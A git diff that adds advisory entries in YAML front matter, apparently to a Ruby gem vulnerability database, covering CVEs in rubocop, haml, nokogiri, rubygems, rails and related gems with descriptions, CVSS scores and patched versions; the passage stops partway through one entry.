diff --git a/advisories/_posts/2017-05-01-CVE-2017-8418.md b/advisories/_posts/2017-05-01-CVE-2017-8418.md
new file mode 100644
index 00000000..0b8ba913
--- /dev/null
+++ b/advisories/_posts/2017-05-01-CVE-2017-8418.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2017-8418 (rubocop): RuboCop gem Insecure use of /tmp'
+comments: false
+categories:
+- rubocop
+advisory:
+  gem: rubocop
+  cve: 2017-8418
+  ghsa: wmjf-jpjj-9f3j
+  url: https://github.com/bbatsov/rubocop/issues/4336
+  title: RuboCop gem Insecure use of /tmp
+  date: 2017-05-01
+  description: |
+    RuboCop 0.48.1 and earlier does not use /tmp in safe way, allowing local
+    users to exploit this to tamper with cache files belonging to other users.
+  cvss_v2: 2.1
+  cvss_v3: 3.3
+  patched_versions:
+  - ">= 0.49.0"
+  related:
+    url:
+    - http://www.openwall.com/lists/oss-security/2017/05/01/14
+---
diff --git a/advisories/_posts/2017-05-08-CVE-2017-1002201.md b/advisories/_posts/2017-05-08-CVE-2017-1002201.md
new file mode 100644
index 00000000..0259694b
--- /dev/null
+++ b/advisories/_posts/2017-05-08-CVE-2017-1002201.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2017-1002201 (haml): haml failure to escape single quotes'
+comments: false
+categories:
+- haml
+advisory:
+  gem: haml
+  cve: 2017-1002201
+  ghsa: r53w-g4xm-3gc6
+  url: https://github.com/haml/haml/commit/18576ae6e9bdcb4303fdbe6b3199869d289d67c2
+  title: haml failure to escape single quotes
+  date: 2017-05-08
+  description: |
+    In haml versions prior to version 5.0.0.beta.2, when using user input to
+    perform tasks on the server, characters like < > " ' must be escaped properly.
+    In this case, the ' character was missed. An attacker can manipulate the input
+    to introduce additional attributes, potentially executing code.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 5.0.0.beta.2"
+  related:
+    url:
+    - https://snyk.io/vuln/SNYK-RUBY-HAML-20362
+---
diff --git a/advisories/_posts/2017-05-09-CVE-2017-5029.md b/advisories/_posts/2017-05-09-CVE-2017-5029.md
new file mode 100644
index 00000000..4436c5c1
--- /dev/null
+++ b/advisories/_posts/2017-05-09-CVE-2017-5029.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2017-5029 (nokogiri): Nokogiri gem contains two upstream vulnerabilities
+  in libxslt 1.1.29'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2017-5029
+  ghsa: pf6m-fxpq-fg8v
+  url: https://github.com/sparklemotion/nokogiri/issues/1634
+  title: Nokogiri gem contains two upstream vulnerabilities in libxslt 1.1.29
+  date: 2017-05-09
+  description: |
+    nokogiri version 1.7.2 has been released.
+
+    This is a security update based on 1.7.1, addressing two upstream
+    libxslt 1.1.29 vulnerabilities classified as "Medium" by Canonical
+    and given a CVSS3 score of "6.5 Medium" and "8.8 High" by RedHat.
+
+    These patches only apply when using Nokogiri's vendored libxslt
+    package. If you're using your distro's system libraries, there's no
+    need to upgrade from 1.7.0.1 or 1.7.1 at this time.
+
+    Full details are available at the github issue linked to in the
+    changelog below.
+
+    -----
+
+    # 1.7.2 / 2017-05-09
+
+    ## Security Notes
+
+    [MRI] Upstream libxslt patches are applied to the vendored libxslt
+    1.1.29 which address CVE-2017-5029 and CVE-2016-4738.
+
+    For more information:
+
+    * https://github.com/sparklemotion/nokogiri/issues/1634
+    * http://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-5029.html
+    * http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4738.html
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 1.7.2"
+  related:
+    cve:
+    - 2016-4738
+    - 2017-5029
+    url:
+    - http://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-5029.html
+    - http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4738.html
+---
diff --git a/advisories/_posts/2017-06-16-CVE-2016-1000221.md b/advisories/_posts/2017-06-16-CVE-2016-1000221.md
new file mode 100644
index 00000000..a010caa6
--- /dev/null
+++ b/advisories/_posts/2017-06-16-CVE-2016-1000221.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2016-1000221 (logstash-core): Logstash Logs Sensitive Information'
+comments: false
+categories:
+- logstash-core
+advisory:
+  gem: logstash-core
+  cve: 2016-1000221
+  ghsa: vcmm-ppqx-95ch
+  url: https://web.archive.org/web/20210124065200/http://www.securityfocus.com/bid/99126
+  title: Logstash Logs Sensitive Information
+  date: 2017-06-16
+  description: |
+    Logstash prior to version 2.3.4, Elasticsearch Output plugin would log
+    to file HTTP authorization headers which could contain sensitive information.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.3.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000221
+    - https://web.archive.org/web/20210124065200/http://www.securityfocus.com/bid/99126
+    - https://security-tracker.debian.org/tracker/CVE-2016-1000221
+    - http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.108361
+    - https://www.scaprepo.com/control.jsp?command=relation&relationId=CVE-2016-1000221&search=CVE-2016-1000221
+    - https://cve.reconshell.com/cve/CVE-2016-1000221
+    - https://www.elastic.co/community/security
+    - https://github.com/advisories/GHSA-vcmm-ppqx-95ch
+---
diff --git a/advisories/_posts/2017-07-11-CVE-2017-16833.md b/advisories/_posts/2017-07-11-CVE-2017-16833.md
new file mode 100644
index 00000000..c262b58a
--- /dev/null
+++ b/advisories/_posts/2017-07-11-CVE-2017-16833.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2017-16833 (gemirro): Stored XSS in "gemirro" via injection in Gemspec
+  "homepage" value'
+comments: false
+categories:
+- gemirro
+advisory:
+  gem: gemirro
+  cve: 2017-16833
+  ghsa: x7p2-x2j6-mwhr
+  url: https://github.com/PierreRambaud/gemirro/commit/9659f9b7ce15a723da8e361bd41b9203b19c97de
+  title: Stored XSS in "gemirro" via injection in Gemspec "homepage" value
+  date: 2017-07-11
+  description: |
+    Stored cross-site scripting (XSS) vulnerability in Gemirro allows
+    attackers to inject arbitrary web script via a crafted JavaScript URL
+    in the "homepage" value of a ".gemspec" file.
+
+    A ".gemspec" file must be created with a JavaScript URL in the homepage
+    value. This can be used to build a gem for upload to the Gemirro server,
+    in order to achieve stored XSS via the author name hyperlink.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.15.0"
+  related:
+    url:
+    - https://github.com/PierreRambaud/gemirro/commit/8acfb9ce9774128d535e2795d583242bb86d6ea8
+    - https://github.com/PierreRambaud/gemirro/commit/8fa709b121b7e18fceda308917d0fb68dc1479c3
+    - https://rubygems.org/gems/gemirro/versions/0.15.0
+---
diff --git a/advisories/_posts/2017-08-29-CVE-2017-0899.md b/advisories/_posts/2017-08-29-CVE-2017-0899.md
new file mode 100644
index 00000000..75fe062f
--- /dev/null
+++ b/advisories/_posts/2017-08-29-CVE-2017-0899.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2017-0899 (rubygems-update): RubyGems ANSI escape sequence vulnerability'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2017-0899
+  ghsa: 7gcp-2gmq-w3xh
+  url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html
+  title: RubyGems ANSI escape sequence vulnerability
+  date: 2017-08-29
+  description: |
+    RubyGems version 2.6.12 and earlier is vulnerable to maliciously crafted gem
+    specifications that include terminal escape characters. Printing the gem
+    specification would execute terminal escape sequences.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.4.5.3"
+  - ">= 2.5.2.1"
+  - ">= 2.6.13"
+---
diff --git a/advisories/_posts/2017-08-29-CVE-2017-0900.md b/advisories/_posts/2017-08-29-CVE-2017-0900.md
new file mode 100644
index 00000000..49d93b13
--- /dev/null
+++ b/advisories/_posts/2017-08-29-CVE-2017-0900.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2017-0900 (rubygems-update): RubyGems DoS vulnerability in the query command'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2017-0900
+  ghsa: p7f2-rr42-m9xm
+  url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html
+  title: RubyGems DoS vulnerability in the query command
+  date: 2017-08-29
+  description: |
+    RubyGems version 2.6.12 and earlier is vulnerable to maliciously crafted gem
+    specifications to cause a denial of service attack against RubyGems clients
+    who have issued a `query` command.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.4.5.3"
+  - ">= 2.5.2.1"
+  - ">= 2.6.13"
+---
diff --git a/advisories/_posts/2017-08-29-CVE-2017-0901.md b/advisories/_posts/2017-08-29-CVE-2017-0901.md
new file mode 100644
index 00000000..50b661bf
--- /dev/null
+++ b/advisories/_posts/2017-08-29-CVE-2017-0901.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2017-0901 (rubygems-update): RubyGems vulnerability in the gem installer
+  that allowed a malicious gem to overwrite arbitrary files'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2017-0901
+  ghsa: pm9x-4392-2c2p
+  url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html
+  title: RubyGems vulnerability in the gem installer that allowed a malicious gem
+    to overwrite arbitrary files
+  date: 2017-08-29
+  description: |
+    RubyGems version 2.6.12 and earlier fails to validate specification names,
+    allowing a maliciously crafted gem to potentially overwrite any file on the
+    filesystem.
+  cvss_v2: 6.4
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.4.5.3"
+  - ">= 2.5.2.1"
+  - ">= 2.6.13"
+---
diff --git a/advisories/_posts/2017-08-29-CVE-2017-0902.md b/advisories/_posts/2017-08-29-CVE-2017-0902.md
new file mode 100644
index 00000000..fb55f641
--- /dev/null
+++ b/advisories/_posts/2017-08-29-CVE-2017-0902.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2017-0902 (rubygems-update): RubyGems DNS request hijacking vulnerability'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2017-0902
+  ghsa: 73w7-6w9g-gc8w
+  url: https://blog.rubygems.org/2017/08/27/2.6.13-released.html
+  title: RubyGems DNS request hijacking vulnerability
+  date: 2017-08-29
+  description: |
+    RubyGems version 2.6.12 and earlier is vulnerable to a DNS hijacking
+    vulnerability that allows a MITM attacker to force the RubyGems client to
+    down load and install gems from a server that the attacker controls.
+  cvss_v2: 6.8
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 2.4.5.3"
+  - ">= 2.5.2.1"
+  - ">= 2.6.13"
+---
diff --git a/advisories/_posts/2017-09-19-CVE-2017-9050.md b/advisories/_posts/2017-09-19-CVE-2017-9050.md
new file mode 100644
index 00000000..1246f8b8
--- /dev/null
+++ b/advisories/_posts/2017-09-19-CVE-2017-9050.md
@@ -0,0 +1,69 @@
+---
+layout: advisory
+title: 'CVE-2017-9050 (nokogiri): Nokogiri gem, via libxml, is affected by DoS and
+  RCE vulnerabilities'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2017-9050
+  ghsa: 8c56-cpmw-89x7
+  url: https://github.com/sparklemotion/nokogiri/issues/1673
+  title: Nokogiri gem, via libxml, is affected by DoS and RCE vulnerabilities
+  date: 2017-09-19
+  description: |
+    The version of libxml2 packaged with Nokogiri contains several
+    vulnerabilities. Nokogiri has mitigated these issues by upgrading to
+    libxml 2.9.5.
+
+    It was discovered that a type confusion error existed in libxml2. An
+    attacker could use this to specially construct XML data that
+    could cause a denial of service or possibly execute arbitrary
+    code. (CVE-2017-0663)
+
+    It was discovered that libxml2 did not properly validate parsed entity
+    references. An attacker could use this to specially construct XML
+    data that could expose sensitive information. (CVE-2017-7375)
+
+    It was discovered that a buffer overflow existed in libxml2 when
+    handling HTTP redirects. An attacker could use this to specially
+    construct XML data that could cause a denial of service or possibly
+    execute arbitrary code. (CVE-2017-7376)
+
+    Marcel Böhme and Van-Thuan Pham discovered a buffer overflow in
+    libxml2 when handling elements. An attacker could use this to specially
+    construct XML data that could cause a denial of service or possibly
+    execute arbitrary code. (CVE-2017-9047)
+
+    Marcel Böhme and Van-Thuan Pham discovered a buffer overread
+    in libxml2 when handling elements. An attacker could use this
+    to specially construct XML data that could cause a denial of
+    service. (CVE-2017-9048)
+
+    Marcel Böhme and Van-Thuan Pham discovered multiple buffer overreads
+    in libxml2 when handling parameter-entity references. An attacker
+    could use these to specially construct XML data that could cause a
+    denial of service. (CVE-2017-9049, CVE-2017-9050)
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.8.1"
+  related:
+    cve:
+    - 2017-0663
+    - 2017-7375
+    - 2017-7376
+    - 2017-9047
+    - 2017-9048
+    - 2017-9049
+    - 2017-9050
+    url:
+    - https://usn.ubuntu.com/usn/usn-3424-1/
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-0663.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7375.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7376.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9047.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9048.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9049.html
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9050.html
+---
diff --git a/advisories/_posts/2017-10-09-CVE-2017-0903.md b/advisories/_posts/2017-10-09-CVE-2017-0903.md
new file mode 100644
index 00000000..5e28f9fd
--- /dev/null
+++ b/advisories/_posts/2017-10-09-CVE-2017-0903.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2017-0903 (rubygems-update): Unsafe Object Deserialization Vulnerability
+  in RubyGems'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2017-0903
+  ghsa: mqwr-4qf2-2hcv
+  url: https://blog.rubygems.org/2017/10/09/unsafe-object-deserialization-vulnerability.html
+  title: Unsafe Object Deserialization Vulnerability in RubyGems
+  date: 2017-10-09
+  description: |
+    There is a possible unsafe object deserialization vulnerability in RubyGems.
+    It is possible for YAML deserialization of gem specifications to bypass class
+    white lists. Specially crafted serialized objects can possibly be used to
+    escalate to remote code execution.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - ">= 2.6.14"
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2006-4111.md b/advisories/_posts/2017-10-24-CVE-2006-4111.md
new file mode 100644
index 00000000..b890be2f
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2006-4111.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2006-4111 (rails): High severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+advisory:
+  gem: rails
+  cve: 2006-4111
+  ghsa: rvpq-5xqx-pfpp
+  url: https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md
+  title: High severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code
+    with "severe" or "serious" impact via a File Upload request with an HTTP header
+    that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 1.1.0"
+  patched_versions:
+  - ">= 1.1.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2006-4111
+    - https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md
+    - https://blog.evanweaver.com/2006/08/12/anatomy-of-an-attack-against-1-1-4
+    - https://rubyonrails.org/2006/8/10/rails-1-1-6-backports-and-full-disclosure
+    - http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits
+    - https://github.com/advisories/GHSA-rvpq-5xqx-pfpp
+    - http://www.gentoo.org/security/en/glsa/glsa-200608-20.xml
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2006-4112.md b/advisories/_posts/2017-10-24-CVE-2006-4112.md
new file mode 100644
index 00000000..7d6364bb
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2006-4112.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2006-4112 (rails): High severity vulnerability that affects rails.'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2006-4112
+  ghsa: 9wrq-xvmp-xjc8
+  url: https://exchange.xforce.ibmcloud.com/vulnerabilities/28364
+  title: High severity vulnerability that affects rails.
+  date: 2017-10-24
+  description: |
+    Unspecified vulnerability in the "dependency resolution mechanism" in
+    Ruby on Rails 1.1.0 through 1.1.5 allows remote attackers to execute arbitrary Ruby
+    code via a URL that is not properly handled in the routing code, which leads to
+    a denial of service (application hang) or "data loss," a different vulnerability
+    than CVE-2006-4111.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 1.1.0"
+  patched_versions:
+  - ">= 1.1.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2006-4112
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/28364
+    - https://github.com/advisories/GHSA-9wrq-xvmp-xjc8
+    - http://weblog.rubyonrails.org/2006/8/10/rails-1-1-6-backports-and-full-disclosure
+    - https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md
+    - https://blog.evanweaver.com/2006/08/12/anatomy-of-an-attack-against-1-1-4
+    - http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits
+    - http://www.gentoo.org/security/en/glsa/glsa-200608-20.xml
+    - http://www.kb.cert.org/vuls/id/699540
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2007-3227.md b/advisories/_posts/2017-10-24-CVE-2007-3227.md
new file mode 100644
index 00000000..24c0b233
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2007-3227.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2007-3227 (rails): Moderate severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2007-3227
+  ghsa: gm25-fpmr-43fj
+  osvdb: 36378
+  url: http://weblog.rubyonrails.org/2007/10/12/rails-1-2-5-maintenance-release
+  title: Moderate severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in the to_json (ActiveRecord::Base#to_json)
+    function in Ruby on Rails before edge 9606 allows remote attackers to inject arbitrary
+    web script via the input values.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 1.2.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2007-3227
+    - http://weblog.rubyonrails.org/2007/10/12/rails-1-2-5-maintenance-release
+    - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release
+    - https://github.com/advisories/GHSA-gm25-fpmr-43fj
+    - http://bugs.gentoo.org/show_bug.cgi?id=195315
+    - http://osvdb.org/36378
+    - http://security.gentoo.org/glsa/glsa-200711-17.xml
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2007-5379.md b/advisories/_posts/2017-10-24-CVE-2007-5379.md
new file mode 100644
index 00000000..759983d5
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2007-5379.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2007-5379 (rails): Moderate severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2007-5379
+  osvdb: 40717
+  ghsa: fjfg-q662-gm6j
+  url: http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release
+  title: Moderate severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers
+    and ActiveResource servers to determine the existence of arbitrary files and read
+    arbitrary XML files via the Hash.from_xml (Hash#from_xml) method, which uses XmlSimple
+    (XML::Simple) unsafely, as demonstrated by reading passwords from the Pidgin (Gaim)
+    .purple/accounts.xml file.
+  cvss_v2: 5.0
+  patched_versions:
+  - ">= 1.2.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2007-5379
+    - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release
+    - https://github.com/advisories/GHSA-fjfg-q662-gm6j
+    - http://bugs.gentoo.org/show_bug.cgi?id=195315
+    - http://osvdb.org/40717
+    - http://security.gentoo.org/glsa/glsa-200711-17.xml
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2007-5380.md b/advisories/_posts/2017-10-24-CVE-2007-5380.md
new file mode 100644
index 00000000..71e75f99
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2007-5380.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2007-5380 (rails): Moderate severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2007-5380
+  ghsa: jwhv-rgqc-fqj5
+  url: http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release
+  title: Moderate severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Session fixation vulnerability in Rails before 1.2.4, as used for Ruby
+    on Rails, allows remote attackers to hijack web sessions via unspecified vectors
+    related to "URL-based sessions."
+  cvss_v2: 6.8
+  patched_versions:
+  - ">= 1.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2007-5380
+    - http://weblog.rubyonrails.org/2007/10/5/rails-1-2-4-maintenance-release
+    - https://github.com/advisories/GHSA-jwhv-rgqc-fqj5
+    - http://bugs.gentoo.org/show_bug.cgi?id=195315
+    - http://security.gentoo.org/glsa/glsa-200711-17.xml
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2007-6077.md b/advisories/_posts/2017-10-24-CVE-2007-6077.md
new file mode 100644
index 00000000..1a365f75
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2007-6077.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2007-6077 (rails): Moderate severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2007-6077
+  ghsa: p4c6-77gc-694x
+  url: https://rubyonrails.org/2007/11/24/ruby-on-rails-1-2-6-security-and-maintenance-release
+  title: Moderate severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    The session fixation protection mechanism in cgi_process.rb in
+    Rails 1.2.4, as used in Ruby on Rails, removes the :cookie_only
+    attribute from the DEFAULT_SESSION_OPTIONS constant, which
+    effectively causes cookie_only to be applied only to the first
+    instantiation of CgiRequest, which allows remote attackers to
+    conduct session fixation attacks.
+
+    NOTE: this is due to an incomplete fix for CVE-2007-5380.
+  cvss_v2: 6.8
+  patched_versions:
+  - ">= 1.2.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2007-6077
+    - http://weblog.rubyonrails.org/2007/11/24/ruby-on-rails-1-2-6-security-and-maintenance-release
+    - https://github.com/advisories/GHSA-p4c6-77gc-694x
+    - https://ubuntu.com/security/CVE-2007-6077
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2008-4094.md b/advisories/_posts/2017-10-24-CVE-2008-4094.md
new file mode 100644
index 00000000..c143b5cf
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2008-4094.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2008-4094 (activerecord): High severity vulnerability that affects rails'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2008-4094
+  ghsa: xf96-32q2-9rw2
+  url: http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter
+  title: High severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    Multiple SQL injection vulnerabilities in Ruby on Rails before 2.1.1
+    allow remote attackers to execute arbitrary SQL commands via the
+    (1) :limit and (2) :offset parameters, related to ActiveRecord,
+    ActiveSupport, ActiveResource, ActionPack, and ActionMailer.
+  cvss_v2: 7.5
+  patched_versions:
+  - "~> 2.0.0"
+  - ">= 2.1.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-4094
+    - http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter
+    - https://rubyonrails.org/2008/10/23/rails-2-1-2-security-other-fixes
+    - https://github.com/rails/rails/commit/213f31513e4cb640fa3ed45f387f221401023646
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45109
+    - https://github.com/advisories/GHSA-xf96-32q2-9rw2
+    - http://lists.opensuse.org/opensuse-security-announce/2008-12/msg00002.html
+    - http://rails.lighthouseapp.com/projects/8994/tickets/288
+    - http://rails.lighthouseapp.com/projects/8994/tickets/964
+    - http://www.openwall.com/lists/oss-security/2008/09/13/2
+    - http://www.openwall.com/lists/oss-security/2008/09/16/1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2008-5189.md b/advisories/_posts/2017-10-24-CVE-2008-5189.md
new file mode 100644
index 00000000..c532c9fd
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2008-5189.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2008-5189 (rails): Moderate severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2008-5189
+  ghsa: jmgf-p46x-982h
+  url: http://weblog.rubyonrails.org/2008/10/19/rails-2-0-5-redirect_to-and-offset-limit-sanitizing
+  title: Moderate severity vulnerability that affects rails
+  date: 2017-10-24
+  description: |
+    CRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote
+    attackers to inject arbitrary HTTP headers and conduct HTTP response
+    splitting attacks via a crafted URL to the redirect_to function.
+  cvss_v2: 5.0
+  patched_versions:
+  - ">= 2.0.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-5189
+    - http://weblog.rubyonrails.org/2008/10/19/rails-2-0-5-redirect_to-and-offset-limit-sanitizing
+    - http://github.com/rails/rails/commit/7282ed863ca7e6f928bae9162c9a63a98775a19d
+    - http://weblog.rubyonrails.org/2008/10/19/response-splitting-risk
+    - http://lists.opensuse.org/opensuse-security-announce/2008-12/msg00002.html
+    - https://github.com/advisories/GHSA-jmgf-p46x-982h
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2008-7248.md b/advisories/_posts/2017-10-24-CVE-2008-7248.md
new file mode 100644
index 00000000..94ee6c1c
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2008-7248.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2008-7248 (actionpack): Improper Input Validation in rails'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2008-7248
+  ghsa: 8fqx-7pv4-3jwm
+  url: https://weblog.rubyonrails.org/2008/11/18/potential-circumvention-of-csrf-protection-in-rails-2-1
+  title: Improper Input Validation in rails
+  date: 2017-10-24
+  description: |
+    Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify
+    tokens for requests with certain content types, which allows remote
+    attackers to bypass cross-site request forgery (CSRF) protection
+    for requests to applications that rely on this protection, as
+    demonstrated using text/plain.
+  cvss_v2: 6.8
+  unaffected_versions:
+  - "< 2.1.0"
+  patched_versions:
+  - "~> 2.1.3"
+  - ">= 2.2.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-7248
+    - https://weblog.rubyonrails.org/2008/11/18/potential-circumvention-of-csrf-protection-in-rails-2-1
+    - https://groups.google.com/group/rubyonrails-security/browse_thread/thread/d741ee286e36e301?hl=en
+    - https://www.rorsecurity.info/journal/2008/11/19/circumvent-rails-csrf-protection.html
+    - https://github.com/advisories/GHSA-8fqx-7pv4-3jwm
+    - https://access.redhat.com/security/cve/CVE-2008-7248
+    - https://bugzilla.redhat.com/show_bug.cgi?id=544329
+    - https://pseudo-flaw.net/content/web-browsers/form-data-encoding-roundup/
+    - https://lists.opensuse.org/opensuse-security-announce/2010-03/msg00004.html
+    - https://www.openwall.com/lists/oss-security/2009/11/28/1
+    - https://www.openwall.com/lists/oss-security/2009/12/02/2
+    - http://github.com/rails/rails/commit/099a98e9b7108dae3e0f78b207e0a7dc5913bd1a
+    - http://github.com/rails/rails/commit/f1ad8b48aae3ee26613b3e77bc0056e120096846
+    - https://rubygems.org/gems/rails/versions/2.1.2
+    - https://rubygems.org/gems/rails/versions/2.1.2
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2009-2422.md b/advisories/_posts/2017-10-24-CVE-2009-2422.md
new file mode 100644
index 00000000..8da88bda
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2009-2422.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2009-2422 (rails): High severity vulnerability that affects rails'
+comments: false
+categories:
+- rails
+- rails
+advisory:
+  gem: rails
+  framework: rails
+  cve: 2009-2422
+  ghsa: rxq3-gm4p-5fj4
+  url: http://weblog.rubyonrails.org/2009/6/3/security-problem-with-authenticate_with_http_digest
+  title: High severity vulnerability that affects rails
